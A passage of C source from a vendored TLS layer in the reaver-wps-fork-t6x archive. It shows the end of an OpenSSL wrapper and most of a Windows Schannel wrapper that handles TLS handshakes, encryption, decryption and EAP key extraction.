char buf[100], *pos, *end; u8 *c; int ret; if (conn == NULL || conn->ssl == NULL || ciphers == NULL) return -1; buf[0] = '\0'; pos = buf; end = pos + sizeof(buf); c = ciphers; while (*c != TLS_CIPHER_NONE) { const char *suite; switch (*c) { case TLS_CIPHER_RC4_SHA: suite = "RC4-SHA"; break; case TLS_CIPHER_AES128_SHA: suite = "AES128-SHA"; break; case TLS_CIPHER_RSA_DHE_AES128_SHA: suite = "DHE-RSA-AES128-SHA"; break; case TLS_CIPHER_ANON_DH_AES128_SHA: suite = "ADH-AES128-SHA"; break; default: wpa_printf(MSG_DEBUG, "TLS: Unsupported " "cipher selection: %d", *c); return -1; } ret = os_snprintf(pos, end - pos, ":%s", suite); if (ret < 0 || ret >= end - pos) break; pos += ret; c++; } wpa_printf(MSG_DEBUG, "OpenSSL: cipher suites: %s", buf + 1); if (SSL_set_cipher_list(conn->ssl, buf + 1) != 1) { tls_show_errors(MSG_INFO, __func__, "Cipher suite configuration failed"); return -1; } return 0; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { const char *name; if (conn == NULL || conn->ssl == NULL) return -1; name = SSL_get_cipher(conn->ssl); if (name == NULL) return -1; os_strlcpy(buf, name, buflen); return 0; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { SSL_set_options(conn->ssl, SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS); return 0; } #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) /* ClientHello TLS extensions require a patch to openssl, so this function is * commented out unless explicitly needed for EAP-FAST in order to be able to * build this file with unmodified openssl. */ int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { if (conn == NULL || conn->ssl == NULL || ext_type != 35) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE if (SSL_set_session_ticket_ext(conn->ssl, (void *) data, data_len) != 1) return -1; #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ if (SSL_set_hello_extension(conn->ssl, ext_type, (void *) data, data_len) != 1) return -1; #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ return 0; } #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { int ret; unsigned long err; if (conn == NULL) return -1; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", __func__, ERR_error_string(err, NULL)); } if (params->engine) { wpa_printf(MSG_DEBUG, "SSL: Initializing TLS engine"); ret = tls_engine_init(conn, params->engine_id, params->pin, params->key_id, params->cert_id, params->ca_cert_id); if (ret) return ret; } if (tls_connection_set_subject_match(conn, params->subject_match, params->altsubject_match)) return -1; if (params->engine && params->ca_cert_id) { if (tls_connection_engine_ca_cert(tls_ctx, conn, params->ca_cert_id)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_ca_cert(tls_ctx, conn, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) return -1; if (params->engine && params->cert_id) { if (tls_connection_engine_client_cert(conn, params->cert_id)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_client_cert(conn, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) return -1; if (params->engine && params->key_id) { wpa_printf(MSG_DEBUG, "TLS: Using private key from engine"); if (tls_connection_engine_private_key(conn)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_private_key(tls_ctx, conn, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key '%s'", params->private_key); return -1; } if (tls_connection_dh(conn, params->dh_file)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", params->dh_file); return -1; } tls_get_errors(tls_ctx); return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { SSL_CTX *ssl_ctx = tls_ctx; unsigned long err; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", __func__, ERR_error_string(err, NULL)); } if (tls_global_ca_cert(ssl_ctx, params->ca_cert)) return -1; if (tls_global_client_cert(ssl_ctx, params->client_cert)) return -1; if (tls_global_private_key(ssl_ctx, params->private_key, params->private_key_passwd)) return -1; if (tls_global_dh(ssl_ctx, params->dh_file)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", params->dh_file); return -1; } return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { const EVP_CIPHER *c; const EVP_MD *h; if (conn == NULL || conn->ssl == NULL || conn->ssl->enc_read_ctx == NULL || conn->ssl->enc_read_ctx->cipher == NULL || conn->ssl->read_hash == NULL) return -1; c = conn->ssl->enc_read_ctx->cipher; #if OPENSSL_VERSION_NUMBER >= 0x00909000L h = EVP_MD_CTX_md(conn->ssl->read_hash); #else h = conn->ssl->read_hash; #endif return 2 * (EVP_CIPHER_key_length(c) + EVP_MD_size(h) + EVP_CIPHER_iv_length(c)); } unsigned int tls_capabilities(void *tls_ctx) { return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) /* Pre-shared secred requires a patch to openssl, so this function is * commented out unless explicitly needed for EAP-FAST in order to be able to * build this file with unmodified openssl. */ static int tls_sess_sec_cb(SSL *s, void *secret, int *secret_len, STACK_OF(SSL_CIPHER) *peer_ciphers, SSL_CIPHER **cipher, void *arg) { struct tls_connection *conn = arg; int ret; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; ret = conn->session_ticket_cb(conn->session_ticket_cb_ctx, conn->session_ticket, conn->session_ticket_len, s->s3->client_random, s->s3->server_random, secret); os_free(conn->session_ticket); conn->session_ticket = NULL; if (ret <= 0) return 0; *secret_len = SSL_MAX_MASTER_KEY_LENGTH; return 1; } #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE static int tls_session_ticket_ext_cb(SSL *s, const unsigned char *data, int len, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s: length=%d", __func__, len); os_free(conn->session_ticket); conn->session_ticket = NULL; wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", data, len); conn->session_ticket = os_malloc(len); if (conn->session_ticket == NULL) return 0; os_memcpy(conn->session_ticket, data, len); conn->session_ticket_len = len; return 1; } #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET static void tls_hello_ext_cb(SSL *s, int client_server, int type, unsigned char *data, int len, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return; wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, type, len); if (type == TLSEXT_TYPE_session_ticket && !client_server) { os_free(conn->session_ticket); conn->session_ticket = NULL; wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", data, len); conn->session_ticket = os_malloc(len); if (conn->session_ticket == NULL) return; os_memcpy(conn->session_ticket, data, len); conn->session_ticket_len = len; } } #else /* SSL_OP_NO_TICKET */ static int tls_hello_ext_cb(SSL *s, TLS_EXTENSION *ext, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, ext->type, ext->length); os_free(conn->session_ticket); conn->session_ticket = NULL; if (ext->type == 35) { wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", ext->data, ext->length); conn->session_ticket = os_malloc(ext->length); if (conn->session_ticket == NULL) return SSL_AD_INTERNAL_ERROR; os_memcpy(conn->session_ticket, ext->data, ext->length); conn->session_ticket_len = ext->length; } return 0; } #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; if (cb) { if (SSL_set_session_secret_cb(conn->ssl, tls_sess_sec_cb, conn) != 1) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE SSL_set_session_ticket_ext_cb(conn->ssl, tls_session_ticket_ext_cb, conn); #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET SSL_set_tlsext_debug_callback(conn->ssl, tls_hello_ext_cb); SSL_set_tlsext_debug_arg(conn->ssl, conn); #else /* SSL_OP_NO_TICKET */ if (SSL_set_hello_extension_cb(conn->ssl, tls_hello_ext_cb, conn) != 1) return -1; #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ } else { if (SSL_set_session_secret_cb(conn->ssl, NULL, NULL) != 1) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE SSL_set_session_ticket_ext_cb(conn->ssl, NULL, NULL); #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET SSL_set_tlsext_debug_callback(conn->ssl, NULL); SSL_set_tlsext_debug_arg(conn->ssl, conn); #else /* SSL_OP_NO_TICKET */ if (SSL_set_hello_extension_cb(conn->ssl, NULL, NULL) != 1) return -1; #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ } return 0; #else /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ return -1; #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ } reaver-wps-fork-t6x-1.6.6/src/crypto/tls_schannel.c000077500000000000000000000465311363372615500222540ustar00rootroot00000000000000/* * SSL/TLS interface functions for Microsoft Schannel * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ /* * FIX: Go through all SSPI functions and verify what needs to be freed * FIX: session resumption * TODO: add support for server cert chain validation * TODO: add support for CA cert validation * TODO: add support for EAP-TLS (client cert/key conf) */ #include "includes.h" #include #include #include #define SECURITY_WIN32 #include #include #include "common.h" #include "tls.h" struct tls_global { HMODULE hsecurity; PSecurityFunctionTable sspi; HCERTSTORE my_cert_store; }; struct tls_connection { int established, start; int failed, read_alerts, write_alerts; SCHANNEL_CRED schannel_cred; CredHandle creds; CtxtHandle context; u8 eap_tls_prf[128]; int eap_tls_prf_set; }; static int schannel_load_lib(struct tls_global *global) { INIT_SECURITY_INTERFACE pInitSecurityInterface; global->hsecurity = LoadLibrary(TEXT("Secur32.dll")); if (global->hsecurity == NULL) { wpa_printf(MSG_ERROR, "%s: Could not load Secur32.dll - 0x%x", __func__, (unsigned int) GetLastError()); return -1; } pInitSecurityInterface = (INIT_SECURITY_INTERFACE) GetProcAddress( global->hsecurity, "InitSecurityInterfaceA"); if (pInitSecurityInterface == NULL) { wpa_printf(MSG_ERROR, "%s: Could not find " "InitSecurityInterfaceA from Secur32.dll", __func__); FreeLibrary(global->hsecurity); global->hsecurity = NULL; return -1; } global->sspi = pInitSecurityInterface(); if (global->sspi == NULL) { wpa_printf(MSG_ERROR, "%s: Could not read security " "interface - 0x%x", __func__, (unsigned int) GetLastError()); FreeLibrary(global->hsecurity); global->hsecurity = NULL; return -1; } return 0; } void * tls_init(const struct tls_config *conf) { struct tls_global *global; global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; if (schannel_load_lib(global)) { os_free(global); return NULL; } return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; if (global->my_cert_store) CertCloseStore(global->my_cert_store, 0); FreeLibrary(global->hsecurity); os_free(global); } int tls_get_errors(void *ssl_ctx) { return 0; } struct tls_connection * tls_connection_init(void *ssl_ctx) { struct tls_connection *conn; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->start = 1; return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->established : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { struct tls_global *global = ssl_ctx; if (conn == NULL) return -1; conn->eap_tls_prf_set = 0; conn->established = conn->failed = 0; conn->read_alerts = conn->write_alerts = 0; global->sspi->DeleteSecurityContext(&conn->context); /* FIX: what else needs to be reseted? */ return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { return -1; } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { /* Schannel does not export master secret or client/server random. */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { /* * Cannot get master_key from Schannel, but EapKeyBlock can be used to * generate session keys for EAP-TLS and EAP-PEAPv0. EAP-PEAPv2 and * EAP-TTLS cannot use this, though, since they are using different * labels. The only option could be to implement TLSv1 completely here * and just use Schannel or CryptoAPI for low-level crypto * functionality.. */ if (conn == NULL || !conn->eap_tls_prf_set || server_random_first || os_strcmp(label, "client EAP encryption") != 0 || out_len > sizeof(conn->eap_tls_prf)) return -1; os_memcpy(out, conn->eap_tls_prf, out_len); return 0; } static struct wpabuf * tls_conn_hs_clienthello(struct tls_global *global, struct tls_connection *conn) { DWORD sspi_flags, sspi_flags_out; SecBufferDesc outbuf; SecBuffer outbufs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; sspi_flags = ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_RET_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_MANUAL_CRED_VALIDATION; wpa_printf(MSG_DEBUG, "%s: Generating ClientHello", __func__); outbufs[0].pvBuffer = NULL; outbufs[0].BufferType = SECBUFFER_TOKEN; outbufs[0].cbBuffer = 0; outbuf.cBuffers = 1; outbuf.pBuffers = outbufs; outbuf.ulVersion = SECBUFFER_VERSION; #ifdef UNICODE status = global->sspi->InitializeSecurityContextW( &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, SECURITY_NATIVE_DREP, NULL, 0, &conn->context, &outbuf, &sspi_flags_out, &ts_expiry); #else /* UNICODE */ status = global->sspi->InitializeSecurityContextA( &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, SECURITY_NATIVE_DREP, NULL, 0, &conn->context, &outbuf, &sspi_flags_out, &ts_expiry); #endif /* UNICODE */ if (status != SEC_I_CONTINUE_NEEDED) { wpa_printf(MSG_ERROR, "%s: InitializeSecurityContextA " "failed - 0x%x", __func__, (unsigned int) status); return NULL; } if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { struct wpabuf *buf; wpa_hexdump(MSG_MSGDUMP, "SChannel - ClientHello", outbufs[0].pvBuffer, outbufs[0].cbBuffer); conn->start = 0; buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, outbufs[0].cbBuffer); if (buf == NULL) return NULL; global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); return buf; } wpa_printf(MSG_ERROR, "SChannel: Failed to generate ClientHello"); return NULL; } #ifndef SECPKG_ATTR_EAP_KEY_BLOCK #define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b typedef struct _SecPkgContext_EapKeyBlock { BYTE rgbKeys[128]; BYTE rgbIVs[64]; } SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock; #endif /* !SECPKG_ATTR_EAP_KEY_BLOCK */ static int tls_get_eap(struct tls_global *global, struct tls_connection *conn) { SECURITY_STATUS status; SecPkgContext_EapKeyBlock kb; /* Note: Windows NT and Windows Me/98/95 do not support getting * EapKeyBlock */ status = global->sspi->QueryContextAttributes( &conn->context, SECPKG_ATTR_EAP_KEY_BLOCK, &kb); if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes(" "SECPKG_ATTR_EAP_KEY_BLOCK) failed (%d)", __func__, (int) status); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbKeys", kb.rgbKeys, sizeof(kb.rgbKeys)); wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbIVs", kb.rgbIVs, sizeof(kb.rgbIVs)); os_memcpy(conn->eap_tls_prf, kb.rgbKeys, sizeof(kb.rgbKeys)); conn->eap_tls_prf_set = 1; return 0; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct tls_global *global = tls_ctx; DWORD sspi_flags, sspi_flags_out; SecBufferDesc inbuf, outbuf; SecBuffer inbufs[2], outbufs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; struct wpabuf *out_buf = NULL; if (appl_data) *appl_data = NULL; if (conn->start) return tls_conn_hs_clienthello(global, conn); wpa_printf(MSG_DEBUG, "SChannel: %d bytes handshake data to process", (int) wpabuf_len(in_data)); sspi_flags = ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_RET_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_MANUAL_CRED_VALIDATION; /* Input buffer for Schannel */ inbufs[0].pvBuffer = (u8 *) wpabuf_head(in_data); inbufs[0].cbBuffer = wpabuf_len(in_data); inbufs[0].BufferType = SECBUFFER_TOKEN; /* Place for leftover data from Schannel */ inbufs[1].pvBuffer = NULL; inbufs[1].cbBuffer = 0; inbufs[1].BufferType = SECBUFFER_EMPTY; inbuf.cBuffers = 2; inbuf.pBuffers = inbufs; inbuf.ulVersion = SECBUFFER_VERSION; /* Output buffer for Schannel */ outbufs[0].pvBuffer = NULL; outbufs[0].cbBuffer = 0; outbufs[0].BufferType = SECBUFFER_TOKEN; outbuf.cBuffers = 1; outbuf.pBuffers = outbufs; outbuf.ulVersion = SECBUFFER_VERSION; #ifdef UNICODE status = global->sspi->InitializeSecurityContextW( &conn->creds, &conn->context, NULL, sspi_flags, 0, SECURITY_NATIVE_DREP, &inbuf, 0, NULL, &outbuf, &sspi_flags_out, &ts_expiry); #else /* UNICODE */ status = global->sspi->InitializeSecurityContextA( &conn->creds, &conn->context, NULL, sspi_flags, 0, SECURITY_NATIVE_DREP, &inbuf, 0, NULL, &outbuf, &sspi_flags_out, &ts_expiry); #endif /* UNICODE */ wpa_printf(MSG_MSGDUMP, "Schannel: InitializeSecurityContext -> " "status=%d inlen[0]=%d intype[0]=%d inlen[1]=%d " "intype[1]=%d outlen[0]=%d", (int) status, (int) inbufs[0].cbBuffer, (int) inbufs[0].BufferType, (int) inbufs[1].cbBuffer, (int) inbufs[1].BufferType, (int) outbufs[0].cbBuffer); if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED || (FAILED(status) && (sspi_flags_out & ISC_RET_EXTENDED_ERROR))) { if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { wpa_hexdump(MSG_MSGDUMP, "SChannel - output", outbufs[0].pvBuffer, outbufs[0].cbBuffer); out_buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, outbufs[0].cbBuffer); global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); outbufs[0].pvBuffer = NULL; if (out_buf == NULL) return NULL; } } switch (status) { case SEC_E_INCOMPLETE_MESSAGE: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INCOMPLETE_MESSAGE"); break; case SEC_I_CONTINUE_NEEDED: wpa_printf(MSG_DEBUG, "Schannel: SEC_I_CONTINUE_NEEDED"); break; case SEC_E_OK: /* TODO: verify server certificate chain */ wpa_printf(MSG_DEBUG, "Schannel: SEC_E_OK - Handshake " "completed successfully"); conn->established = 1; tls_get_eap(global, conn); /* Need to return something to get final TLS ACK. */ if (out_buf == NULL) out_buf = wpabuf_alloc(0); if (inbufs[1].BufferType == SECBUFFER_EXTRA) { wpa_hexdump(MSG_MSGDUMP, "SChannel - Encrypted " "application data", inbufs[1].pvBuffer, inbufs[1].cbBuffer); if (appl_data) { *appl_data = wpabuf_alloc_copy( outbufs[1].pvBuffer, outbufs[1].cbBuffer); } global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); inbufs[1].pvBuffer = NULL; } break; case SEC_I_INCOMPLETE_CREDENTIALS: wpa_printf(MSG_DEBUG, "Schannel: SEC_I_INCOMPLETE_CREDENTIALS"); break; case SEC_E_WRONG_PRINCIPAL: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_WRONG_PRINCIPAL"); break; case SEC_E_INTERNAL_ERROR: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INTERNAL_ERROR"); break; } if (FAILED(status)) { wpa_printf(MSG_DEBUG, "Schannel: Handshake failed " "(out_buf=%p)", out_buf); conn->failed++; global->sspi->DeleteSecurityContext(&conn->context); return out_buf; } if (inbufs[1].BufferType == SECBUFFER_EXTRA) { /* TODO: Can this happen? What to do with this data? */ wpa_hexdump(MSG_MSGDUMP, "SChannel - Leftover data", inbufs[1].pvBuffer, inbufs[1].cbBuffer); global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); inbufs[1].pvBuffer = NULL; } return out_buf; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { struct tls_global *global = tls_ctx; SECURITY_STATUS status; SecBufferDesc buf; SecBuffer bufs[4]; SecPkgContext_StreamSizes sizes; int i; struct wpabuf *out; status = global->sspi->QueryContextAttributes(&conn->context, SECPKG_ATTR_STREAM_SIZES, &sizes); if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes failed", __func__); return NULL; } wpa_printf(MSG_DEBUG, "%s: Stream sizes: header=%u trailer=%u", __func__, (unsigned int) sizes.cbHeader, (unsigned int) sizes.cbTrailer); out = wpabuf_alloc(sizes.cbHeader + wpabuf_len(in_data) + sizes.cbTrailer); os_memset(&bufs, 0, sizeof(bufs)); bufs[0].pvBuffer = wpabuf_put(out, sizes.cbHeader); bufs[0].cbBuffer = sizes.cbHeader; bufs[0].BufferType = SECBUFFER_STREAM_HEADER; bufs[1].pvBuffer = wpabuf_put(out, 0); wpabuf_put_buf(out, in_data); bufs[1].cbBuffer = wpabuf_len(in_data); bufs[1].BufferType = SECBUFFER_DATA; bufs[2].pvBuffer = wpabuf_put(out, sizes.cbTrailer); bufs[2].cbBuffer = sizes.cbTrailer; bufs[2].BufferType = SECBUFFER_STREAM_TRAILER; buf.ulVersion = SECBUFFER_VERSION; buf.cBuffers = 3; buf.pBuffers = bufs; status = global->sspi->EncryptMessage(&conn->context, 0, &buf, 0); wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage -> " "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " "len[2]=%d type[2]=%d", (int) status, (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, (int) bufs[2].cbBuffer, (int) bufs[2].BufferType); wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage pointers: " "out_data=%p bufs %p %p %p", wpabuf_head(out), bufs[0].pvBuffer, bufs[1].pvBuffer, bufs[2].pvBuffer); for (i = 0; i < 3; i++) { if (bufs[i].pvBuffer && bufs[i].BufferType != SECBUFFER_EMPTY) { wpa_hexdump(MSG_MSGDUMP, "SChannel: bufs", bufs[i].pvBuffer, bufs[i].cbBuffer); } } if (status == SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); wpa_hexdump_buf_key(MSG_MSGDUMP, "Schannel: Encrypted data " "from EncryptMessage", out); return out; } wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", __func__, (int) status); wpabuf_free(out); return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { struct tls_global *global = tls_ctx; SECURITY_STATUS status; SecBufferDesc buf; SecBuffer bufs[4]; int i; struct wpabuf *out, *tmp; wpa_hexdump_buf(MSG_MSGDUMP, "Schannel: Encrypted data to DecryptMessage", in_data); os_memset(&bufs, 0, sizeof(bufs)); tmp = wpabuf_dup(in_data); if (tmp == NULL) return NULL; bufs[0].pvBuffer = wpabuf_mhead(tmp); bufs[0].cbBuffer = wpabuf_len(in_data); bufs[0].BufferType = SECBUFFER_DATA; bufs[1].BufferType = SECBUFFER_EMPTY; bufs[2].BufferType = SECBUFFER_EMPTY; bufs[3].BufferType = SECBUFFER_EMPTY; buf.ulVersion = SECBUFFER_VERSION; buf.cBuffers = 4; buf.pBuffers = bufs; status = global->sspi->DecryptMessage(&conn->context, &buf, 0, NULL); wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage -> " "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " "len[2]=%d type[2]=%d len[3]=%d type[3]=%d", (int) status, (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, (int) bufs[2].cbBuffer, (int) bufs[2].BufferType, (int) bufs[3].cbBuffer, (int) bufs[3].BufferType); wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage pointers: " "out_data=%p bufs %p %p %p %p", wpabuf_head(tmp), bufs[0].pvBuffer, bufs[1].pvBuffer, bufs[2].pvBuffer, bufs[3].pvBuffer); switch (status) { case SEC_E_INCOMPLETE_MESSAGE: wpa_printf(MSG_DEBUG, "%s: SEC_E_INCOMPLETE_MESSAGE", __func__); break; case SEC_E_OK: wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); for (i = 0; i < 4; i++) { if (bufs[i].BufferType == SECBUFFER_DATA) break; } if (i == 4) { wpa_printf(MSG_DEBUG, "%s: No output data from " "DecryptMessage", __func__); wpabuf_free(tmp); return NULL; } wpa_hexdump_key(MSG_MSGDUMP, "Schannel: Decrypted data from " "DecryptMessage", bufs[i].pvBuffer, bufs[i].cbBuffer); out = wpabuf_alloc_copy(bufs[i].pvBuffer, bufs[i].cbBuffer); wpabuf_free(tmp); return out; } wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", __func__, (int) status); wpabuf_free(tmp); return NULL; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { return 0; } int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { struct tls_global *global = tls_ctx; ALG_ID algs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; if (conn == NULL) return -1; if (global->my_cert_store == NULL && (global->my_cert_store = CertOpenSystemStore(0, TEXT("MY"))) == NULL) { wpa_printf(MSG_ERROR, "%s: CertOpenSystemStore failed - 0x%x", __func__, (unsigned int) GetLastError()); return -1; } os_memset(&conn->schannel_cred, 0, sizeof(conn->schannel_cred)); conn->schannel_cred.dwVersion = SCHANNEL_CRED_VERSION; conn->schannel_cred.grbitEnabledProtocols = SP_PROT_TLS1; algs[0] = CALG_RSA_KEYX; conn->schannel_cred.cSupportedAlgs = 1; conn->schannel_cred.palgSupportedAlgs = algs; conn->schannel_cred.dwFlags |= SCH_CRED_NO_DEFAULT_CREDS; #ifdef UNICODE status = global->sspi->AcquireCredentialsHandleW( NULL, UNISP_NAME_W, SECPKG_CRED_OUTBOUND, NULL, &conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry); #else /* UNICODE */ status = global->sspi->AcquireCredentialsHandleA( NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL, &conn->schannel_cred, NULL, NULL, &conn->creds, 